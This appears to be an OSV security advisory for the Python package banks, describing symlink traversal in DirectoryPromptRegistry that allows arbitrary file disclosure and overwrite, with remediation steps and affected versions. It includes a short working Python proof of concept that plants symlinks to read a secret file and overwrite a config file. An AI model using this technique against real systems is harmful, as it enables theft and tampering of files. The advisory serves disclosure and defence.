GHSA-556j-vv39-8rqv

Suggest an improvement
Source
https://github.com/advisories/GHSA-556j-vv39-8rqv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-556j-vv39-8rqv/GHSA-556j-vv39-8rqv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-556j-vv39-8rqv
Aliases
Published
2026-10-08T22:10:07Z
Modified
2026-10-08T22:30:19Z
Summary
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
Details

Summary

In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().

Details

Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:

  1. self._index_path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by _save() upon reg.set(), or read via _load().
  2. In _scan(), discovered .jinja files are opened and indexed without checking if path.is_symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.
  3. In set(), prompt_file.write_text(...) is called without checking if prompt_file is an existing symbolic link pointing outside the root.

Impact

Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.

Proof of Concept

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

Remediation

  1. In _validate_index_path(): verify _index_path is not a symlink and resolves within _path.
  2. In _scan(): reject path.is_symlink() and check path.resolve().is_relative_to(root).
  3. In set(): reject existing symbolic links before writing.

A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting

Database specific
{
    "cwe_ids": [
        "CWE-22",
        "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:10:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

PyPI / banks

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.5.1

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.1.0
0.1.1
0.2.0
0.3.0
0.3.1
0.4.1
0.5.0
0.6.0
1.*
1.0.0
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.5.0
1.6.0
1.6.1
1.7.0
1.7.1
1.8.0
2.*
2.0.0
2.1.0
2.1.1
2.1.2
2.1.3
2.2.0
2.3.0
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.5.0

Database specific

last_known_affected_version_range
"<= 2.5.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-556j-vv39-8rqv/GHSA-556j-vv39-8rqv.json"